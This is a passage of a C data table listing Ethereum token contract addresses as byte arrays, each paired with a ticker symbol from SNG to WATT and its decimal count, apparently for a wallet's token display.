{{0xcF,0xD6,0xAe,0x8B,0xF1,0x3f,0x42,0xDE,0x14,0x86,0x73,0x51,0xeA,0xff,0x7A,0x8A,0x3b,0x9F,0xbB,0xe7}, "SNG ", 8},
{{0xae,0xC2,0xE8,0x7E,0x0A,0x23,0x52,0x66,0xD9,0xC5,0xAD,0xc9,0xDE,0xb4,0xb2,0xE2,0x9b,0x54,0xD0,0x09}, "SNGLS ", 0},
{{0x44,0xF5,0x88,0xaE,0xeB,0x8C,0x44,0x47,0x14,0x39,0xD1,0x27,0x0B,0x36,0x03,0xc6,0x6a,0x92,0x62,0xF1}, "SNIP ", 18},
{{0x98,0x3F,0x6d,0x60,0xdb,0x79,0xea,0x8c,0xA4,0xeB,0x99,0x68,0xC6,0xaF,0xf8,0xcf,0xA0,0x4B,0x3c,0x63}, "SNM ", 18},
{{0xbd,0xc5,0xba,0xc3,0x9d,0xbe,0x13,0x2b,0x1e,0x03,0x0e,0x89,0x8a,0xe3,0x83,0x00,0x17,0xd7,0xd9,0x69}, "SNOV ", 18},
{{0x74,0x4d,0x70,0xFD,0xBE,0x2B,0xa4,0xCF,0x95,0x13,0x16,0x26,0x61,0x4a,0x17,0x63,0xDF,0x80,0x5B,0x9E}, "SNT ", 18},
{{0x28,0x59,0x02,0x1e,0xe7,0xf2,0xcb,0x10,0x16,0x2e,0x67,0xf3,0x3a,0xf2,0xd2,0x27,0x64,0xb3,0x1a,0xff}, "SNTR ", 4},
{{0x2d,0x0e,0x95,0xbd,0x47,0x95,0xd7,0xac,0xe0,0xda,0x3c,0x0f,0xf7,0xb7,0x06,0xa5,0x97,0x0e,0xb9,0xd3}, "SOC ", 18},
{{0x1f,0x54,0x63,0x8b,0x77,0x37,0x19,0x3f,0xfd,0x86,0xc1,0x9e,0xc5,0x19,0x07,0xa7,0xc4,0x17,0x55,0xd8}, "SOL ", 6},
{{0x1c,0x62,0xac,0xa2,0xb7,0x60,0x5d,0xb3,0x60,0x6e,0xac,0xda,0x7b,0xc6,0x7a,0x18,0x57,0xdd,0xb8,0xff}, "SONIQ ", 18},
{{0x42,0xd6,0x62,0x2d,0xec,0xe3,0x94,0xb5,0x49,0x99,0xfb,0xd7,0x3d,0x10,0x81,0x23,0x80,0x6f,0x6a,0x18}, "SPANK ", 18},
{{0x58,0xbf,0x7d,0xf5,0x7d,0x9D,0xA7,0x11,0x3c,0x4c,0xCb,0x49,0xd8,0x46,0x3D,0x49,0x08,0xC7,0x35,0xcb}, "SPARC ", 18},
{{0x24,0xae,0xf3,0xbf,0x1a,0x47,0x56,0x15,0x00,0xf9,0x43,0x0d,0x74,0xed,0x40,0x97,0xc4,0x7f,0x51,0xf2}, "SPARTA ", 4},
{{0x1d,0xea,0x97,0x9a,0xe7,0x6f,0x26,0x07,0x18,0x70,0xf8,0x24,0x08,0x8d,0xa7,0x89,0x79,0xeb,0x91,0xc8}, "SPD ", 18},
{{0x85,0x08,0x93,0x89,0xC1,0x4B,0xd9,0xc7,0x7F,0xC2,0xb8,0xF0,0xc3,0xd1,0xdC,0x33,0x63,0xBf,0x06,0xEf}, "SPF ", 18},
{{0x38,0x33,0xdd,0xa0,0xae,0xb6,0x94,0x7b,0x98,0xce,0x45,0x4d,0x89,0x36,0x6c,0xba,0x8c,0xc5,0x55,0x28}, "SPHTX ", 18},
{{0x03,0x24,0xdd,0x19,0x5d,0x0c,0xd5,0x3f,0x9f,0x07,0xbe,0xe6,0xa4,0x8e,0xe7,0xa2,0x0b,0xad,0x73,0x8f}, "SPICE ", 8},
{{0x20,0xF7,0xA3,0xDd,0xF2,0x44,0xdc,0x92,0x99,0x97,0x5b,0x4D,0xa1,0xC3,0x9F,0x8D,0x5D,0x75,0xf0,0x5A}, "SPN ", 6},
{{0x05,0xaa,0xaa,0x82,0x9a,0xfa,0x40,0x7d,0x83,0x31,0x5c,0xde,0xd1,0xd4,0x5e,0xb1,0x60,0x25,0x91,0x0c}, "SPX ", 18},
{{0x68,0xd5,0x7c,0x9a,0x1C,0x35,0xf6,0x3E,0x2c,0x83,0xeE,0x8e,0x49,0xA6,0x4e,0x9d,0x70,0x52,0x8D,0x25}, "SRN ", 18},
{{0xbb,0xFF,0x86,0x2d,0x90,0x6E,0x34,0x8E,0x99,0x46,0xBf,0xb2,0x13,0x2e,0xcB,0x15,0x7D,0xa3,0xD4,0xb4}, "SS shard ", 18},
{{0x6e,0x20,0x50,0xCB,0xFB,0x3e,0xD8,0xA4,0xd3,0x9b,0x64,0xcC,0x9f,0x47,0xE7,0x11,0xa0,0x3a,0x5a,0x89}, "SSH ", 18},
{{0x62,0x4d,0x52,0x0b,0xab,0x2e,0x4a,0xd8,0x39,0x35,0xfa,0x50,0x3f,0xb1,0x30,0x61,0x43,0x74,0xe8,0x50}, "SSP ", 4},
{{0x9a,0x00,0x5c,0x9a,0x89,0xbd,0x72,0xa4,0xbd,0x27,0x72,0x1e,0x7a,0x09,0xa3,0xc1,0x1d,0x2b,0x03,0xc4}, "STAC ", 18},
{{0xF7,0x0a,0x64,0x2b,0xD3,0x87,0xF9,0x43,0x80,0xfF,0xb9,0x04,0x51,0xC2,0xc8,0x1d,0x4E,0xb8,0x2C,0xBc}, "STAR ", 18},
{{0x09,0xbc,0xa6,0xeb,0xab,0x05,0xee,0x2a,0xe9,0x45,0xbe,0x4e,0xda,0x51,0x39,0x3d,0x94,0xbf,0x7b,0x99}, "STB ", 4},
{{0x62,0x9a,0xEe,0x55,0xed,0x49,0x58,0x1C,0x33,0xab,0x27,0xf9,0x40,0x3F,0x79,0x92,0xA2,0x89,0xff,0xd5}, "STC ", 18},
{{0xaE,0x73,0xB3,0x8d,0x1c,0x9A,0x8b,0x27,0x41,0x27,0xec,0x30,0x16,0x0a,0x49,0x27,0xC4,0xd7,0x18,0x24}, "STK ", 18},
{{0x59,0x93,0x46,0x77,0x9e,0x90,0xfc,0x3F,0x5F,0x99,0x7b,0x5e,0xa7,0x15,0x34,0x98,0x20,0xF9,0x15,0x71}, "STN ", 4},
{{0xB6,0x4e,0xf5,0x1C,0x88,0x89,0x72,0xc9,0x08,0xCF,0xac,0xf5,0x9B,0x47,0xC1,0xAf,0xBC,0x0A,0xb8,0xaC}, "STORJ ", 8},
{{0xD0,0xa4,0xb8,0x94,0x6C,0xb5,0x2f,0x06,0x61,0x27,0x3b,0xfb,0xC6,0xfD,0x0E,0x0C,0x75,0xFc,0x64,0x33}, "STORM ", 18},
{{0xec,0xd5,0x70,0xbB,0xf7,0x47,0x61,0xb9,0x60,0xFa,0x04,0xCc,0x10,0xfe,0x2c,0x4e,0x86,0xFf,0xDA,0x36}, "STP ", 8},
{{0x5c,0x3a,0x22,0x85,0x10,0xd2,0x46,0xb7,0x8a,0x37,0x65,0xc2,0x02,0x21,0xcb,0xf3,0x08,0x2b,0x44,0xa4}, "STQ ", 18},
{{0xBA,0xE2,0x35,0x82,0x3D,0x72,0x55,0xD9,0xD4,0x86,0x35,0xcE,0xd4,0x73,0x52,0x27,0x24,0x4C,0xd5,0x83}, "STR ", 18},
{{0x46,0x49,0x24,0x73,0x75,0x5e,0x8d,0xF9,0x60,0xF8,0x03,0x48,0x77,0xF6,0x17,0x32,0xD7,0x18,0xCE,0x96}, "STRC ", 8},
{{0x03,0x71,0xa8,0x2e,0x4a,0x9d,0x0a,0x43,0x12,0xf3,0xee,0x2a,0xc9,0xc6,0x95,0x85,0x12,0x89,0x13,0x72}, "STU ", 18},
{{0x00,0x6B,0xeA,0x43,0xBa,0xa3,0xf7,0xA6,0xf7,0x65,0xF1,0x4f,0x10,0xA1,0xa1,0xb0,0x83,0x34,0xEF,0x45}, "STX ", 18},
{{0x12,0x48,0x0E,0x24,0xeb,0x5b,0xec,0x1a,0x9D,0x43,0x69,0xCa,0xB6,0xa8,0x0c,0xaD,0x3c,0x0A,0x37,0x7A}, "SUB ", 2},
{{0xe1,0x20,0xc1,0xec,0xbf,0xdf,0xea,0x7f,0x0a,0x8f,0x0e,0xe3,0x00,0x63,0x49,0x1e,0x8c,0x26,0xfe,0xdf}, "SUR ", 8},
{{0xbd,0xeb,0x4b,0x83,0x25,0x1f,0xb1,0x46,0x68,0x7f,0xa1,0x9d,0x1c,0x66,0x0f,0x99,0x41,0x1e,0xef,0xe3}, "SVD ", 18},
{{0x0b,0xb2,0x17,0xe4,0x0f,0x8a,0x5c,0xb7,0x9a,0xdf,0x04,0xe1,0xaa,0xb6,0x0e,0x5a,0xbd,0x0d,0xfc,0x1e}, "SWFTC ", 8},
{{0x9e,0x88,0x61,0x34,0x18,0xcf,0x03,0xdc,0xa5,0x4d,0x6a,0x2c,0xf6,0xad,0x93,0x4a,0x78,0xc7,0xa1,0x7a}, "SWM ", 18},
{{0xB9,0xe7,0xF8,0x56,0x8e,0x08,0xd5,0x65,0x9f,0x5D,0x29,0xC4,0x99,0x71,0x73,0xd8,0x4C,0xdF,0x26,0x07}, "SWT ", 18},
{{0x12,0xb3,0x06,0xfa,0x98,0xf4,0xcb,0xb8,0xd4,0x45,0x7f,0xdf,0xf3,0xa0,0xa0,0xa5,0x6f,0x07,0xcc,0xdf}, "SXDT ", 18},
{{0x2c,0x82,0xc7,0x3d,0x5b,0x34,0xaa,0x01,0x59,0x89,0x46,0x2b,0x29,0x48,0xcd,0x61,0x6a,0x37,0x64,0x1f}, "SXUT ", 18},
{{0x10,0xb1,0x23,0xfd,0xdd,0xe0,0x03,0x24,0x31,0x99,0xaa,0xd0,0x35,0x22,0x06,0x5d,0xc0,0x58,0x27,0xa0}, "SYN ", 18},
{{0xb1,0xee,0xf1,0x47,0x02,0x8e,0x9f,0x48,0x0d,0xbc,0x5c,0xca,0xa3,0x27,0x7d,0x41,0x7d,0x1b,0x85,0xf0}, "Seele ", 18},
{{0x4c,0xa7,0x41,0x85,0x53,0x2d,0xc1,0x78,0x95,0x27,0x19,0x4e,0x5b,0x9c,0x86,0x6d,0xd3,0x3f,0x4e,0x82}, "SenSatoI ", 18},
{{0xD6,0x59,0x60,0xFA,0xcb,0x8E,0x4a,0x2d,0xFc,0xb2,0xC2,0x21,0x2c,0xb2,0xe4,0x4a,0x02,0xe2,0xa5,0x7E}, "Soar ", 6},
{{0x1d,0x4c,0xcc,0x31,0xda,0xb6,0xea,0x20,0xf4,0x61,0xd3,0x29,0xa0,0x56,0x2c,0x1c,0x58,0x41,0x25,0x15}, "TALAO ", 18},
{{0xc2,0x7a,0x2f,0x05,0xfa,0x57,0x7a,0x83,0xba,0x0f,0xdb,0x4c,0x38,0x44,0x3c,0x07,0x18,0x35,0x65,0x01}, "TAU ", 18},
{{0xFA,0xCC,0xD5,0xFc,0x83,0xc3,0xE4,0xC3,0xc1,0xAC,0x1E,0xF3,0x5D,0x15,0xad,0xf0,0x6b,0xCF,0x20,0x9C}, "TBC2 ", 8},
{{0xAF,0xe6,0x05,0x11,0x34,0x1a,0x37,0x48,0x8d,0xe2,0x5B,0xef,0x35,0x19,0x52,0x56,0x2E,0x31,0xfC,0xc1}, "TBT ", 8},
{{0x3a,0x92,0xbd,0x39,0x6a,0xef,0x82,0xaf,0x98,0xeb,0xc0,0xaa,0x90,0x30,0xd2,0x5a,0x23,0xb1,0x1c,0x6b}, "TBX ", 18},
{{0xfA,0x0e,0xF5,0xE0,0x34,0xCa,0xE1,0xAE,0x75,0x2d,0x59,0xbd,0xb8,0xaD,0xcD,0xe3,0x7E,0xd7,0xaB,0x97}, "TCA ", 18},
{{0x99,0x72,0xa0,0xf2,0x41,0x94,0x44,0x7e,0x73,0xa7,0xe8,0xb6,0xcd,0x26,0xa5,0x2e,0x02,0xdd,0xfa,0xd5}, "TCH ", 0},
{{0x2a,0x1d,0xba,0xbe,0x65,0xc5,0x95,0xB0,0x02,0x2e,0x75,0x20,0x8C,0x34,0x01,0x41,0x39,0xd5,0xd3,0x57}, "TDH ", 18},
{{0x1c,0x79,0xab,0x32,0xc6,0x6a,0xca,0xa1,0xe9,0xe8,0x19,0x52,0xb8,0xaa,0xa5,0x81,0xb4,0x3e,0x54,0xe7}, "TEAM ", 4},
{{0xEc,0x32,0xA9,0x72,0x5C,0x59,0x85,0x5d,0x84,0x1b,0xa7,0xd8,0xD9,0xc9,0x9c,0x84,0xff,0x75,0x46,0x88}, "TEL Medi ", 18},
{{0x85,0xe0,0x76,0x36,0x1c,0xc8,0x13,0xa9,0x08,0xff,0x67,0x2f,0x9b,0xad,0x15,0x41,0x47,0x44,0x02,0xb2}, "TEL ", 2},
{{0xdd,0x16,0xec,0x0f,0x66,0xe5,0x4d,0x45,0x3e,0x67,0x56,0x71,0x3e,0x53,0x33,0x55,0x98,0x90,0x40,0xe4}, "TEN ", 18},
{{0xe5,0xf1,0x66,0xc0,0xd8,0x87,0x2b,0x68,0x79,0x00,0x61,0x31,0x7b,0xb6,0xcc,0xa0,0x45,0x82,0xc9,0x12}, "TFD ", 18},
{{0xa7,0xf9,0x76,0xC3,0x60,0xeb,0xBe,0xD4,0x46,0x5c,0x28,0x55,0x68,0x4D,0x1A,0xAE,0x52,0x71,0xeF,0xa9}, "TFL ", 8},
{{0xf8,0xe0,0x6e,0x4e,0x4a,0x80,0x28,0x7f,0xdc,0xa5,0xb0,0x2d,0xcc,0xec,0xaa,0x9d,0x09,0x54,0x84,0x0f}, "TGAME ", 18},
{{0xac,0x3d,0xa5,0x87,0xea,0xc2,0x29,0xc9,0x89,0x6d,0x91,0x9a,0xbc,0x23,0x5c,0xa4,0xfd,0x7f,0x72,0xc1}, "TGT ", 1},
{{0x38,0x83,0xf5,0xe1,0x81,0xfc,0xca,0xf8,0x41,0x0f,0xa6,0x1e,0x12,0xb5,0x9b,0xad,0x96,0x3f,0xb6,0x45}, "THETA ", 18},
{{0x1c,0xb3,0x20,0x9d,0x45,0xb2,0xa6,0x0b,0x7f,0xbc,0xa1,0xcc,0xdb,0xf8,0x7f,0x67,0x42,0x37,0xa4,0xaa}, "THR ", 4},
{{0x4f,0x27,0x05,0x3f,0x32,0xed,0xa8,0xaf,0x84,0x95,0x64,0x37,0xbc,0x00,0xe5,0xff,0xa7,0x00,0x32,0x87}, "THRT ", 18},
{{0xfe,0x7B,0x91,0x5A,0x0b,0xAA,0x0E,0x79,0xf8,0x5c,0x55,0x53,0x26,0x65,0x13,0xF7,0xC1,0xc0,0x3E,0xd0}, "THUG ", 18},
{{0x72,0x43,0x0a,0x61,0x2a,0xdc,0x00,0x7c,0x50,0xe3,0xb6,0x94,0x6d,0xbb,0x1b,0xb0,0xfd,0x31,0x01,0xd1}, "TIC ", 8},
{{0x7F,0x4B,0x2A,0x69,0x06,0x05,0xA7,0xcb,0xb6,0x6F,0x7A,0xA6,0x88,0x5E,0xbD,0x90,0x6a,0x5e,0x2E,0x9E}, "TICO ", 8},
{{0x99,0x99,0x67,0xe2,0xec,0x8a,0x74,0xb7,0xc8,0xe9,0xdb,0x19,0xe0,0x39,0xd9,0x20,0xb3,0x1d,0x39,0xd0}, "TIE ", 18},
{{0xee,0xe2,0xd0,0x0e,0xb7,0xde,0xb8,0xdd,0x69,0x24,0x18,0x7f,0x5a,0xa3,0x49,0x6b,0x7d,0x06,0xe6,0x2a}, "TIG ", 18},
{{0x65,0x31,0xf1,0x33,0xe6,0xDe,0xeB,0xe7,0xF2,0xdc,0xE5,0xA0,0x44,0x1a,0xA7,0xef,0x33,0x0B,0x4e,0x53}, "TIME ", 8},
{{0x80,0xbc,0x55,0x12,0x56,0x1c,0x7f,0x85,0xa3,0xa9,0x50,0x8c,0x7d,0xf7,0x90,0x1b,0x37,0x0f,0xa1,0xdf}, "TIO ", 18},
{{0xEa,0x1f,0x34,0x6f,0xaF,0x02,0x3F,0x97,0x4E,0xb5,0xad,0xaf,0x08,0x8B,0xbC,0xdf,0x02,0xd7,0x61,0xF4}, "TIX ", 18},
{{0xda,0xe1,0xba,0xf2,0x49,0x96,0x4b,0xc4,0xb6,0xac,0x98,0xc3,0x12,0x2f,0x0e,0x3e,0x78,0x5f,0xd2,0x79}, "TKA ", 18},
{{0x06,0x75,0xda,0xa9,0x47,0x25,0xa5,0x28,0xb0,0x5a,0x3a,0x88,0x63,0x5c,0x03,0xea,0x96,0x4b,0xfa,0x7e}, "TKLN ", 18},
{{0xaA,0xAf,0x91,0xD9,0xb9,0x0d,0xF8,0x00,0xDf,0x4F,0x55,0xc2,0x05,0xfd,0x69,0x89,0xc9,0x77,0xE7,0x3a}, "TKN ", 8},
{{0xb4,0x5a,0x50,0x54,0x5b,0xee,0xab,0x73,0xf3,0x8f,0x31,0xe5,0x97,0x37,0x68,0xc4,0x21,0x80,0x5e,0x5e}, "TKR ", 18},
{{0xb3,0x61,0x65,0x50,0xab,0xc8,0xaf,0x79,0xc7,0xa5,0x90,0x2d,0xef,0x9e,0xfa,0x3b,0xc9,0xa9,0x52,0x00}, "TLX ", 8},
{{0x32,0x09,0xf9,0x8b,0xeb,0xf0,0x14,0x9b,0x76,0x9c,0xe2,0x6d,0x71,0xf7,0xae,0xa8,0xe4,0x35,0xef,0xea}, "TMT ", 18},
{{0xb0,0x28,0x07,0x43,0xb4,0x4b,0xf7,0xdb,0x4b,0x6b,0xe4,0x82,0xb2,0xba,0x7b,0x75,0xe5,0xda,0x09,0x6c}, "TNS ", 18},
{{0x08,0xf5,0xa9,0x23,0x5b,0x08,0x17,0x3b,0x75,0x69,0xf8,0x36,0x45,0xd2,0xc7,0xfb,0x55,0xe8,0xcc,0xd8}, "TNT ", 8},
{{0x8b,0x35,0x30,0x21,0x18,0x93,0x75,0x59,0x17,0x23,0xe7,0x38,0x42,0x62,0xf4,0x57,0x09,0xa3,0xc3,0xdc}, "TOMO ", 18},
{{0x8e,0xb9,0x65,0xee,0x9c,0xCF,0xBC,0xE7,0x6c,0x0a,0x06,0x26,0x44,0x92,0xc0,0xaf,0xEf,0xc2,0x82,0x6d}, "TOOR ", 18},
{{0xaa,0x7a,0x9c,0xa8,0x7d,0x36,0x94,0xb5,0x75,0x5f,0x21,0x3b,0x5d,0x04,0x09,0x4b,0x8d,0x0f,0x0a,0x6f}, "TRAC ", 18},
{{0x12,0x75,0x95,0x12,0xd3,0x26,0x30,0x3b,0x45,0xf1,0xce,0xc8,0xf7,0xb6,0xfd,0x96,0xf3,0x87,0x77,0x8e}, "TRAK ", 18},
{{0xcB,0x3F,0x90,0x2b,0xf9,0x76,0x26,0x39,0x1b,0xF8,0xbA,0x87,0x26,0x4b,0xbC,0x3D,0xC1,0x34,0x69,0xbe}, "TRC ", 18},
{{0x56,0x6F,0xd7,0x99,0x9B,0x1F,0xc3,0x98,0x80,0x22,0xbD,0x38,0x50,0x7A,0x48,0xF0,0xbC,0xf2,0x2c,0x77}, "TRCN ", 18},
{{0x30,0xce,0xCB,0x54,0x61,0xA4,0x49,0xA9,0x00,0x81,0xF5,0xa5,0xF5,0x5d,0xb4,0xe0,0x48,0x39,0x7B,0xAB}, "TRCT ", 8},
{{0x33,0xf9,0x0d,0xee,0x07,0xc6,0xe8,0xb9,0x68,0x2d,0xd2,0x0f,0x73,0xe6,0xc3,0x58,0xb2,0xed,0x0f,0x03}, "TRDT ", 0},
{{0xcb,0x94,0xbe,0x6f,0x13,0xa1,0x18,0x2e,0x4a,0x4b,0x61,0x40,0xcb,0x7b,0xf2,0x02,0x5d,0x28,0xe4,0x1b}, "TRST ", 6},
{{0xf2,0x30,0xb7,0x90,0xe0,0x53,0x90,0xfc,0x82,0x95,0xf4,0xd3,0xf6,0x03,0x32,0xc9,0x3b,0xed,0x42,0xe2}, "TRX ", 6},
{{0x6B,0x87,0x99,0x9b,0xE8,0x73,0x58,0x06,0x5b,0xBd,0xE4,0x1e,0x8a,0x0f,0xe0,0xB7,0xb1,0xcd,0x25,0x14}, "TSW ", 18},
{{0xaa,0xb6,0x06,0x81,0x78,0x09,0x84,0x1e,0x8b,0x11,0x68,0xbe,0x87,0x79,0xee,0xaf,0x67,0x44,0xef,0x64}, "TTA ", 18},
{{0x93,0x89,0x43,0x48,0x52,0xb9,0x4b,0xba,0xd4,0xc8,0xaf,0xed,0x5b,0x7b,0xdb,0xc5,0xff,0x0c,0x22,0x75}, "TTC ", 18},
{{0x9c,0xda,0x8a,0x60,0xdd,0x5a,0xfa,0x15,0x6c,0x95,0xbd,0x97,0x44,0x28,0xd9,0x1a,0x08,0x12,0xe0,0x54}, "TTU ", 18},
{{0x8d,0xd5,0xfb,0xce,0x2f,0x6a,0x95,0x6c,0x30,0x22,0xba,0x36,0x63,0x75,0x90,0x11,0xdd,0x51,0xe7,0x3e}, "TUSD ", 18},
{{0x2e,0xF1,0xaB,0x8a,0x26,0x18,0x7C,0x58,0xBB,0x8a,0xAe,0xB1,0x1B,0x2f,0xC6,0xD2,0x5C,0x5c,0x07,0x16}, "TWN ", 18},
{{0xE7,0x77,0x5A,0x6e,0x9B,0xcf,0x90,0x4e,0xb3,0x9D,0xA2,0xb6,0x8c,0x5e,0xfb,0x4F,0x93,0x60,0xe0,0x8C}, "TaaS ", 6},
{{0x84,0x00,0xd9,0x4a,0x5c,0xb0,0xfa,0x0d,0x04,0x1a,0x37,0x88,0xe3,0x95,0x28,0x5d,0x61,0xc9,0xee,0x5e}, "UBT ", 8},
{{0x92,0xe5,0x2a,0x1a,0x23,0x5d,0x9a,0x10,0x3d,0x97,0x09,0x01,0x06,0x6c,0xe9,0x10,0xaa,0xce,0xfd,0x37}, "UCASH ", 8},
{{0xaa,0xf3,0x70,0x55,0x18,0x8f,0xee,0xe4,0x86,0x9d,0xe6,0x34,0x64,0x93,0x7e,0x68,0x3d,0x61,0xb2,0xa1}, "UCN ", 18},
{{0xea,0x09,0x7a,0x2b,0x1d,0xb0,0x06,0x27,0xb2,0xfa,0x17,0x46,0x0a,0xd2,0x60,0xc0,0x16,0x01,0x69,0x77}, "UFR ", 18},
{{0x24,0x69,0x27,0x91,0xbc,0x44,0x4c,0x5c,0xd0,0xb8,0x1e,0x3c,0xbc,0xab,0xa4,0xb0,0x4a,0xcd,0x1f,0x3b}, "UKG ", 18},
{{0x8e,0x5a,0xfc,0x69,0xf6,0x22,0x7a,0x3a,0xd7,0x5e,0xd3,0x46,0xc8,0x72,0x3b,0xc6,0x2c,0xe9,0x71,0x23}, "UMKA ", 4},
{{0x6b,0xa4,0x60,0xab,0x75,0xcd,0x2c,0x56,0x34,0x3b,0x35,0x17,0xff,0xeb,0xa6,0x07,0x48,0x65,0x4d,0x26}, "UP ", 8},
{{0xc8,0x6d,0x05,0x48,0x09,0x62,0x34,0x32,0x21,0x0c,0x10,0x7a,0xf2,0xe3,0xf6,0x19,0xdc,0xfb,0xf6,0x52}, "UPP ", 18},
{{0xd0,0x1d,0xb7,0x3e,0x04,0x78,0x55,0xef,0xb4,0x14,0xe6,0x20,0x20,0x98,0xc4,0xbe,0x4c,0xd2,0x42,0x3b}, "UQC ", 18},
{{0x93,0x16,0x84,0x13,0x9f,0x75,0x6C,0x24,0xeC,0x07,0x31,0xE9,0xF7,0x4F,0xE5,0x0e,0x55,0x48,0xdD,0xeF}, "URB ", 18},
{{0xa0,0xb8,0x69,0x91,0xc6,0x21,0x8b,0x36,0xc1,0xd1,0x9d,0x4a,0x2e,0x9e,0xb0,0xce,0x36,0x06,0xeb,0x48}, "USDC ", 6},
{{0xD7,0x60,0xAD,0xdF,0xb2,0x4D,0x9C,0x01,0xFe,0x4B,0xfe,0xa7,0x47,0x5C,0x5e,0x36,0x36,0x68,0x40,0x58}, "USDM ", 2},
{{0xda,0xc1,0x7f,0x95,0x8d,0x2e,0xe5,0x23,0xa2,0x20,0x62,0x06,0x99,0x45,0x97,0xc1,0x3d,0x83,0x1e,0xc7}, "USDT ", 6},
{{0x70,0xa7,0x28,0x33,0xd6,0xbf,0x7f,0x50,0x8c,0x82,0x24,0xce,0x59,0xea,0x1e,0xf3,0xd0,0xea,0x3a,0x38}, "UTK ", 18},
{{0x9e,0x33,0x19,0x63,0x6e,0x21,0x26,0xe3,0xc0,0xbc,0x9e,0x31,0x34,0xAE,0xC5,0xe1,0x50,0x8A,0x46,0xc7}, "UTN-P ", 18},
{{0x16,0xf8,0x12,0xbe,0x7f,0xff,0x02,0xca,0xf6,0x62,0xb8,0x5d,0x5d,0x58,0xa5,0xda,0x65,0x72,0xd4,0xdf}, "UTT ", 8},
{{0x35,0x43,0x63,0x8e,0xD4,0xa9,0x00,0x6E,0x48,0x40,0xB1,0x05,0x94,0x42,0x71,0xBc,0xea,0x15,0x60,0x5D}, "UUU ", 18},
{{0x89,0x20,0x5A,0x3A,0x3b,0x2A,0x69,0xDe,0x6D,0xbf,0x7f,0x01,0xED,0x13,0xB2,0x10,0x8B,0x2c,0x43,0xe7}, "Unicorn ", 0},
{{0x57,0xC7,0x5E,0xCC,0xc8,0x55,0x71,0x36,0xD3,0x26,0x19,0xa1,0x91,0xfB,0xCD,0xc8,0x85,0x60,0xd7,0x11}, "VDG ", 0},
{{0x82,0xBD,0x52,0x6b,0xDB,0x71,0x8C,0x6d,0x4D,0xD2,0x29,0x1E,0xd0,0x13,0xA5,0x18,0x6c,0xAE,0x2D,0xCa}, "VDOC ", 18},
{{0x34,0x0d,0x2b,0xde,0x5e,0xb2,0x8c,0x1e,0xed,0x91,0xb2,0xf7,0x90,0x72,0x3e,0x3b,0x16,0x06,0x13,0xb7}, "VEE ", 18},
{{0xD8,0x50,0x94,0x2e,0xF8,0x81,0x1f,0x2A,0x86,0x66,0x92,0xA6,0x23,0x01,0x1b,0xDE,0x52,0xa4,0x62,0xC1}, "VEN ", 18},
{{0xEb,0xeD,0x4f,0xF9,0xfe,0x34,0x41,0x3d,0xb8,0xfC,0x82,0x94,0x55,0x6B,0xBD,0x15,0x28,0xa4,0xDA,0xca}, "VENUS ", 3},
{{0x8f,0x34,0x70,0xA7,0x38,0x8c,0x05,0xeE,0x4e,0x7A,0xF3,0xd0,0x1D,0x8C,0x72,0x2b,0x0F,0xF5,0x23,0x74}, "VERI ", 18},
{{0x2C,0x97,0x4B,0x2d,0x0B,0xA1,0x71,0x6E,0x64,0x4c,0x1F,0xC5,0x99,0x82,0xa8,0x9D,0xDD,0x2f,0xF7,0x24}, "VIB ", 18},
{{0xe8,0xff,0x5c,0x9c,0x75,0xde,0xb3,0x46,0xac,0xac,0x49,0x3c,0x46,0x3c,0x89,0x50,0xbe,0x03,0xdf,0xba}, "VIBE ", 18},
{{0x88,0x24,0x48,0xf8,0x3d,0x90,0xb2,0xbf,0x47,0x7a,0xf2,0xea,0x79,0x32,0x7f,0xde,0xa1,0x33,0x5d,0x93}, "VIBEX ", 18},
{{0xf0,0x3f,0x8d,0x65,0xba,0xfa,0x59,0x86,0x11,0xc3,0x49,0x51,0x24,0x09,0x3c,0x56,0xe8,0xf6,0x38,0xf0}, "VIEW ", 18},
{{0xd2,0x94,0x6b,0xe7,0x86,0xf3,0x5c,0x3c,0xc4,0x02,0xc2,0x9b,0x32,0x36,0x47,0xab,0xda,0x79,0x90,0x71}, "VIKKY ", 8},
{{0xf3,0xe0,0x14,0xfe,0x81,0x26,0x78,0x70,0x62,0x41,0x32,0xef,0x3a,0x64,0x6b,0x8e,0x83,0x85,0x3a,0x96}, "VIN ", 18},
{{0x23,0xb7,0x5B,0xc7,0xAa,0xF2,0x8e,0x2d,0x66,0x28,0xC3,0xf4,0x24,0xB3,0x88,0x2F,0x8f,0x07,0x2a,0x3c}, "VIT ", 18},
{{0x1b,0x79,0x3e,0x49,0x23,0x77,0x58,0xdb,0xd8,0xb7,0x52,0xaf,0xc9,0xeb,0x4b,0x32,0x9d,0x5d,0xa0,0x16}, "VITE ", 18},
{{0x51,0x94,0x75,0xb3,0x16,0x53,0xe4,0x6d,0x20,0xcd,0x09,0xf9,0xfd,0xcf,0x3b,0x12,0xbd,0xac,0xb4,0xf5}, "VIU ", 18},
{{0x92,0x2a,0xc4,0x73,0xa3,0xcc,0x24,0x1f,0xd3,0xa0,0x04,0x9e,0xd1,0x45,0x36,0x45,0x2d,0x58,0xd7,0x3c}, "VLD ", 18},
{{0xc3,0xbc,0x9e,0xb7,0x1f,0x75,0xec,0x43,0x9a,0x6b,0x6c,0x8e,0x8b,0x74,0x6f,0xcf,0x5b,0x62,0xf7,0x03}, "VOC ", 18},
{{0x83,0xeE,0xA0,0x0D,0x83,0x8f,0x92,0xdE,0xC4,0xD1,0x47,0x56,0x97,0xB9,0xf4,0xD3,0x53,0x7b,0x56,0xE3}, "VOISE ", 8},
{{0xeD,0xBa,0xF3,0xc5,0x10,0x03,0x02,0xdC,0xdd,0xA5,0x32,0x69,0x32,0x2f,0x37,0x30,0xb1,0xF0,0x41,0x6d}, "VRS ", 5},
{{0x92,0xe7,0x8d,0xae,0x13,0x15,0x06,0x7a,0x88,0x19,0xef,0xd6,0xdc,0xa4,0x32,0xde,0x9d,0xcd,0xe2,0xe9}, "VRS ", 6},
{{0x5c,0x54,0x3e,0x7A,0xE0,0xA1,0x10,0x4f,0x78,0x40,0x6C,0x34,0x0E,0x9C,0x64,0xFD,0x9f,0xCE,0x51,0x70}, "VSL ", 18},
{{0x97,0x20,0xb4,0x67,0xa7,0x10,0x38,0x2A,0x23,0x2a,0x32,0xF5,0x40,0xbD,0xCe,0xd7,0xd6,0x62,0xa1,0x0B}, "VZT ", 18},
{{0x4b,0xbb,0xc5,0x7a,0xf2,0x70,0x13,0x8e,0xf2,0xff,0x2c,0x50,0xdb,0xfa,0xd6,0x84,0xe9,0xe0,0xe6,0x04}, "WAB ", 18},
{{0x82,0x9A,0x4c,0xA1,0x30,0x33,0x83,0xF1,0x08,0x2B,0x6B,0x1f,0xB9,0x37,0x11,0x6e,0x4b,0x3b,0x56,0x05}, "WATT ", 18},
